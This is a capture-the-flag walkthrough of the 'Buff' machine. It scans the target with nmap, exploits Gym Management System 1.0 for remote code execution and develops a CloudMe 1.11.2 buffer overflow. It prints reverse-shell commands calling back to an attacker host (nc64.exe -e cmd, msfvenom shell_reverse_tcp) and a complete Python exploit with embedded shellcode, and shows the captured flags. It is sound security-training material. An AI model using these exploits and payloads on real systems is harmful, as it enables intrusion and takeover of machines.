Buff

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.198 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.-p-
scanning the entire port range, from 1 to 65535.-T5
insane mode, it is the fastest mode of the nmap time template.-Pn
assume the host is online.-n
scan without reverse DNS resolution.-oN
save the scan result into a file, in this case the allports file.
# Nmap 7.92 scan initiated Mon Sep 5 20:37:04 2022 as: nmap -sS -p- --min-rate 5000 -Pn -n -oN allPorts 10.10.10.198
Nmap scan report for 10.10.10.198
Host is up (0.049s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
7680/tcp open pando-pub
8080/tcp open http-proxy
# Nmap done at Mon Sep 5 20:37:31 2022 -- 1 IP address (1 host up) scanned in 26.68 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p7680,8080 10.10.10.198 -oN targeted
-sC
performs the scan using the default set of scripts.-sV
enables version detection.-oN
save the scan result into file, in this case the targeted file.
# Nmap 7.92 scan initiated Mon Sep 5 20:37:53 2022 as: nmap -sCV -p7680,8080 -oN targeted 10.10.10.198
Nmap scan report for 10.10.10.198
Host is up (0.035s latency).
PORT STATE SERVICE VERSION
7680/tcp open pando-pub?
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-title: mrb3n's Bro Hut
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 5 20:39:01 2022 -- 1 IP address (1 host up) scanned in 68.44 seconds
It looks like there is a website on port 8080.

In the Contact section we can see that the website has been made with Gym Management Software 1.0.

Exploitation
If we check for common exploits for Gym Management we'll find an exploit which allows us to have Unauthenticated Remote Code Execution.
searchsploit gym management
------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------- ---------------------------------
Gym Management System 1.0 - 'id' SQL Injection | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py
------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Let's transfer the exploit to our local machine.
searchsploit -m php/webapps/48506.py
If we execute it with Python 2, we'll get a webshell.
python2 48506.py "http://10.10.10.198:8080/"
/\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
\/
[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> whoami
�PNG
▒
buff\shaun
Let's get a proper shell. First, set a simple SMB server with impacket where the nc64.exe
binary is located.
impacket-smbserver smbFolder $(pwd) -smb2support
Then, set a netcat listener on port 4444 with rlwrap.
rlwrap nc -lvnp 4444
-l
listen mode.-v
verbose mode.-n
numeric-only IP, no DNS resolution.-p
specify the port to listen on.
Finally, we'll run a command on the webshell which will grab the nc64.exe
binary from our SMB server, and send the netcat listener a reverse shell. Then, we'll be able to grab the user flag.
\\10.10.14.11\smbFolder\nc64.exe -e cmd 10.10.14.11 4444
listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.198] 49689
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.
whoami
buff\shaun
type \users\shaun\desktop\user.txt
cf0e2f785ba213bf880997e74dbc5355
Privilege Escalation
In the downloads folder of the shaun
user, we'll see a binary called CloudMe_1122.exe
.
dir \users\shaun\downloads
Volume in drive C has no label.
Volume Serial Number is A22D-49F7
Directory of C:\users\shaun\downloads
14/07/2020 13:27 <DIR> .
14/07/2020 13:27 <DIR> ..
16/06/2020 16:26 17,830,824 CloudMe_1112.exe
1 File(s) 17,830,824 bytes
2 Dir(s) 7,401,410,560 bytes free
If we check the tasklist, we'll see that the CloudMe.exe
program is running on the system.
tasklist
Image Name PID Session Name Session# Mem Usage
========================= ======== ================ =========== ============
...
CloudMe.exe 6960 0 37,240 K
...
We can see on the internet that this program is listening on port 8888.

Indeed, if we check the open ports on the machine, we'll see that port 8888 is open locally.
netstat -nat
-n
show active TCP connections.-a
show TCP and UDP listening ports.-t
displays the download status of the current connection.
Active Connections
Proto Local Address Foreign Address State Offload State
...
TCP 127.0.0.1:8888 0.0.0.0:0 LISTENING InHost
...
If we search for any common exploit on CloudMe 1.11.2 we'll find a few buffer overflow exploits.
searchsploit cloudme 1.11.2
--------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------- ---------------------------------
CloudMe 1.11.2 - Buffer Overflow (PoC) | windows/remote/48389.py
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR) | windows/local/48499.txt
CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASLR) | windows/local/48840.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt | windows/remote/46218.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass) | windows_x86-64/remote/46250.py
--------------------------------------------------------- ---------------------------------
Shellcodes: No Results
But this time we are going to make our own buffer overflow exploit. We will need a Windows machine available, with the Immunity Debugger software installed, and the mona.py
script downloaded and placed on the directory C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands
. You can download the script from here.

Next, we'll have to download and install CloudMe. You can download it from here. Then run the installation wizard and press on the Next
button until the program is installed.

Let's create a new account with random information.

Then, finish the configuration process and the software will be ready to exploit.

As port 8888 is only open locally, we'll need to download and decompress with 7z the chisel tool to do port forwarding of port 8888 so that we can access it from our local machine. You can download the Windows amd64 version from here. On our local machine, let's set chisel as a server on port 1234.
./chisel server --reverse -p 1234
--reverse
allow clients to specify reverse port forwarding.-p
specify the server port.
2022/09/06 14:31:41 server: Reverse tunnelling enabled
2022/09/06 14:31:41 server: Fingerprint dDRi0hR7HIxWyeryoeUDbO8qF36j8h8vBTWPOWCI0os=
2022/09/06 14:31:41 server: Listening on http://0.0.0.0:1234
On the Windows machine, execute chisel as a client, connect to the server on port 1234 and do a port forwarding of port 8888.
chisel.exe client 192.168.1.175:1234 R:8888:127.0.0.1:8888
2022/09/06 14:33:59 client: Connecting to ws://192.168.1.175:1234
2022/09/06 14:33:59 client: Connected (Latency 1.103ms)
Now, any connection made to port 8888 on our local machine will be sent to port 8888 if the Windows machine. Now, we'll have to set the Immunity Debugger software. First, run it as the administrator.

Then, go to File > Attach
, and attach the CloudMe
process.

As we can see at the bottom left part of the screen, the program is now paused.

Press the play button to start running the CloudMe program.

Now it should be running.

Now everything is ready to start making the exploit. Each time the program crashes, we'll have to repeat this hole process.

Fuzzing
On our local machine, let's write the following python script, which will connect to the Windows machine via the 8888 port forwarding we have set with chisel, then it will send 5000 A
characters, which will make CloudMe to crash.
#!/usr/bin/python3
import socket,
ip_address = "127.0.0.1"
port = 8888
payload = b"A" * 5000
def makeConnection():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
s.send(payload)
if __name__ == '__main__':
makeConnection()
If we execute the script, we'll see in the Immunity Debugger software that CloudMe has crashed, and now it is paused. As we can see, all the registers are filled with 41
, which in hexadecimal are A
characters. We were able to overwrite the EIP registry, which means that CloudMe is vulnerable to buffer overflow attacks.

Finding the Offset
Now, we have to find at what byte exactly we are starting to overwrite the EIP registry. To do it, I will create a long sequence of bytes with msf-pattern_create
. As the program crashed with 5000 bytes, the sequence of bytes will also be 5000 long.
msf-pattern_create -l 5000
-l
length of the pattern.
Aa0Aa1Aa2Aa3Aa4...Gk1Gk2Gk3Gk4Gk5Gk
Now, I will modify the script, so the long sequence of bytes is sent to the server.
#!/usr/bin/python3
import socket, signal, sys
ip_address = "127.0.0.1"
port = 8888
payload = b"Aa0Aa1Aa2Aa3Aa4...Gk1Gk2Gk3Gk4Gk5Gk"
def makeConnection():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
s.send(payload)
if __name__ == '__main__':
makeConnection()
If we run the exploit, we'll see that when the server crashes, the value of the EIP is 316A4230
.

Finally, knowing the value of the EIP, we can get the offset.
msf-pattern_offset -q 316A4230
-q
query to locate.
[*] Exact match at offset 1052
Overwriting the EIP
We could send 1052 A
characters, and then 4 B
characters. This way, if we see on Immunity Debugger that the value of the EIP is filled with 4 B
characters, that means we are overwriting the EIP registry properly.
#!/usr/bin/python3
import socket, signal, sys
ip_address = "127.0.0.1"
port = 8888
payload = b"A" * 1052 + b"B" * 4
def makeConnection():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
s.send(payload)
if __name__ == '__main__':
makeConnection()
If we run the script, we'll see that the value of the EIP is 42424242
, which are the 4 B
characters that we sent. So now we have control of the EIP registry.

Finding Bad Characters
There are certain characters that will break the program if we send those to the server. We will have to find those characters, so when we create the shellcode which will send us the reverse shell, we can omit those characters, and the server will not fail. So this time, after the 4 B
characters, we are going to send a bunch of different characters.
#!/usr/bin/python3
import socket, signal, sys
ip_address = "127.0.0.1"
port = 8888
bad_chars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
payload = "A" * 1052 + "B" * 4 + bad_chars
def makeConnection():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
s.send(byte(payload))
if __name__ == '__main__':
makeConnection()
This time, we'll get a similar result, with the 42424242
value on the EIP, but now we are interested in the ESP registry. Let's right-click on the ESP value, and press on Follow in Dump
.

Now in the bottom right panel, we'll have to compare all the characters that we see, with the ones that we sent. In this case there are no bad characters, but in other cases, for example if the 12
, A3
and E6
characters are missing, we'll identify those as bad characters. In these case, we'll identify the 00
character as a bad character, because usually it makes some trouble.

Finding the Right Module
We have to find a module that has no memory protections. We will do it with the mona tool, and we'll have to find a module with all the memory protections set to False
.
!mona modules

In this case I'll use the Qt5Core.dll
module.

We have to convert assembly language into hex code. If we run nasm_shell in our local machine, we'll see that the hex code equivalent of the JMP command is FFE4
.
msf-nasm_shell
nasm > JMP ESP
00000000 FFE4 jmp esp
Now that we know the right module and the hex code of the JMP command, let's find the right return address.
!mona find -s "\xff\xe4" -m Qt5Core.dll

We will use the first return address with the value 68A98A7B
. Let's go back to the CPU window.

Click on the following button to search for an address.

And search for the address 0x68A98A7B
. We should see the address we just searches along with the hex value FFE4
, and the JMP ESP
instruction. Now, select the address and press F2 to set a breakpoint on that address, so if we hit that address, the program will stop running.

This time, we'll run a script which will fill the EIP register with the return address we just found. So, when we run the script, EIP should have the 68A98A7B
value. Make sure to add the return address to the payload variable in the reverse.
#!/usr/bin/python3
import socket, signal, sys
ip_address = "127.0.0.1"
port = 8888
# Return address: 68 A9 8A 7B
payload = b"A" * 1052 + b"\x7b\x8a\xa9\x68"
def makeConnection():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
s.send(payload)
if __name__ == '__main__':
makeConnection()
If we run the script, we'll see that the program has stop at the breakpoint.

And the EIP has the 68A98A7B
value.

Generating Shellcode
Let's generate a shellcode which will send us a reverse shell on port 5555. It will have a x86
architecture, we'll omit the \x00
bad character, the output will be in C
format.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.175 LPORT=5555 --platform windows -a x86 -b "\x00" -f c EXITFUNC=thread
-p
payloadLHOST
local IP address.LPORT
listening port.--platform
platform of the payload.-a
architecture.-b
exclude bad characters.-f
output format.EXITFUNC=thread
make the shell more stable.
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] =
"\xbb\xce\x43\xe5\x5b\xda\xda\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
...
"\x92\x4d\xa4\xa0\x93\x47";
Let's modify the script, so now after the EIP value we'll add some nops that serve as a padding, and then we'll add the shellcode.
#!/usr/bin/python3
import socket, signal, sys
ip_address = "127.0.0.1"
port = 8888
shellcode = (b"\xbb\xce\x43\xe5\x5b\xda\xda\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
...
b"\x92\x4d\xa4\xa0\x93\x47")
payload = b"A" * 1052 + b"\x7b\x8a\xa9\x68" + b"\x90" * 32 + shellcode
def makeConnection():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
s.send(payload)
if __name__ == '__main__':
makeConnection()
Finally, let's set a netcat listener on port 5555 with rlwrap.
rlwrap nc -lvnp 5555
-l
listen mode.-v
verbose mode.-n
numeric-only IP, no DNS resolution.-p
specify the port to listen on.
If we run the exploit, we should catch a shell on the netcat listener.
python overflow.py
listening on [any] 5555 ...
connect to [192.168.1.175] from (UNKNOWN) [192.168.1.190] 50370
Microsoft Windows [Versi�n 10.0.18362.30]
(c) 2019 Microsoft Corporation. Todos los derechos reservados.
whoami
desktop-isor6ht\alfa8sa
We have exploited our own Windows machine with the CloudMe software running, but now is turn to exploit the Buff machine. Basically, we'll have to do the same process. Transfer chisel to the victim machine, by setting a simple HTTP server where the chisel binary is located.
python -m http.server 80
On the victim machine.
curl http://10.10.14.11/chisel_1.7.7_windows_amd64 -o chisel_1.7.7_windows_amd64
Then, make sure chisel is running as a server on our local machine, and run chisel on the victim machine doing port forwarding of the 8888 port.
chisel_1.7.7_windows_amd64 client 10.10.14.11:1234 R:8888:127.0.0.1:8888
Now, we'll have to generate new shellcode with the IP address of the HTB VPN.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.11 LPORT=5555 --platform windows -a x86 -b "\x00" -f c EXITFUNC=thread
-p
payloadLHOST
local IP address.LPORT
listening port.--platform
platform of the payload.-a
architecture.-b
exclude bad characters.-f
output format.EXITFUNC=thread
make the shell more stable.
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] =
"\xbb\xce\x43\xe5\x5b\xda\xda\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
...
"\x92\x4d\xa4\xa0\x93\x47";
Replace the new shellcode to the one that was before in the script.
#!/usr/bin/python3
import socket, signal, sys
ip_address = "127.0.0.1"
port = 8888
shellcode = (b"\xdd\xc4\xba\x09\x2f\x05\x1f\xd9\x74\x24\xf4\x58\x33\xc9\xb1"
b"\x52\x83\xe8\xfc\x31\x50\x13\x03\x59\x3c\xe7\xea\xa5\xaa\x65"
b"\x14\x55\x2b\x0a\x9c\xb0\x1a\x0a\xfa\xb1\x0d\xba\x88\x97\xa1"
b"\x31\xdc\x03\x31\x37\xc9\x24\xf2\xf2\x2f\x0b\x03\xae\x0c\x0a"
b"\x87\xad\x40\xec\xb6\x7d\x95\xed\xff\x60\x54\xbf\xa8\xef\xcb"
b"\x2f\xdc\xba\xd7\xc4\xae\x2b\x50\x39\x66\x4d\x71\xec\xfc\x14"
b"\x51\x0f\xd0\x2c\xd8\x17\x35\x08\x92\xac\x8d\xe6\x25\x64\xdc"
b"\x07\x89\x49\xd0\xf5\xd3\x8e\xd7\xe5\xa1\xe6\x2b\x9b\xb1\x3d"
b"\x51\x47\x37\xa5\xf1\x0c\xef\x01\x03\xc0\x76\xc2\x0f\xad\xfd"
b"\x8c\x13\x30\xd1\xa7\x28\xb9\xd4\x67\xb9\xf9\xf2\xa3\xe1\x5a"
b"\x9a\xf2\x4f\x0c\xa3\xe4\x2f\xf1\x01\x6f\xdd\xe6\x3b\x32\x8a"
b"\xcb\x71\xcc\x4a\x44\x01\xbf\x78\xcb\xb9\x57\x31\x84\x67\xa0"
b"\x36\xbf\xd0\x3e\xc9\x40\x21\x17\x0e\x14\x71\x0f\xa7\x15\x1a"
b"\xcf\x48\xc0\x8d\x9f\xe6\xbb\x6d\x4f\x47\x6c\x06\x85\x48\x53"
b"\x36\xa6\x82\xfc\xdd\x5d\x45\x09\x28\x53\x9e\x65\x2e\x6b\xb5"
b"\xc6\xa7\x8d\xdf\x38\xee\x06\x48\xa0\xab\xdc\xe9\x2d\x66\x99"
b"\x2a\xa5\x85\x5e\xe4\x4e\xe3\x4c\x91\xbe\xbe\x2e\x34\xc0\x14"
b"\x46\xda\x53\xf3\x96\x95\x4f\xac\xc1\xf2\xbe\xa5\x87\xee\x99"
b"\x1f\xb5\xf2\x7c\x67\x7d\x29\xbd\x66\x7c\xbc\xf9\x4c\x6e\x78"
b"\x01\xc9\xda\xd4\x54\x87\xb4\x92\x0e\x69\x6e\x4d\xfc\x23\xe6"
b"\x08\xce\xf3\x70\x15\x1b\x82\x9c\xa4\xf2\xd3\xa3\x09\x93\xd3"
b"\xdc\x77\x03\x1b\x37\x3c\x23\xfe\x9d\x49\xcc\xa7\x74\xf0\x91"
b"\x57\xa3\x37\xac\xdb\x41\xc8\x4b\xc3\x20\xcd\x10\x43\xd9\xbf"
b"\x09\x26\xdd\x6c\x29\x63")
payload = b"A" * 1052 + b"\x7b\x8a\xa9\x68" + b"\x90" * 32 + shellcode
def makeConnection():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
s.send(payload)
if __name__ == '__main__':
makeConnection()
Set another netcat listener on port 5555 with rlwrap.
rlwrap nc -lvnp 5555
-l
listen mode.-v
verbose mode.-n
numeric-only IP, no DNS resolution.-p
specify the port to listen on.
Finally, if we execute the script, we'll get a shell as the user, and then all we have to do is reap the harvest and take the root flag.
python overflow.py
listening on [any] 5555 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.198] 49683
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.
whoami
buff\administrator
type \users\administrator\desktop\root.txt
6974b9770d79447cf25c277b75507e82
Last updated
Was this helpful?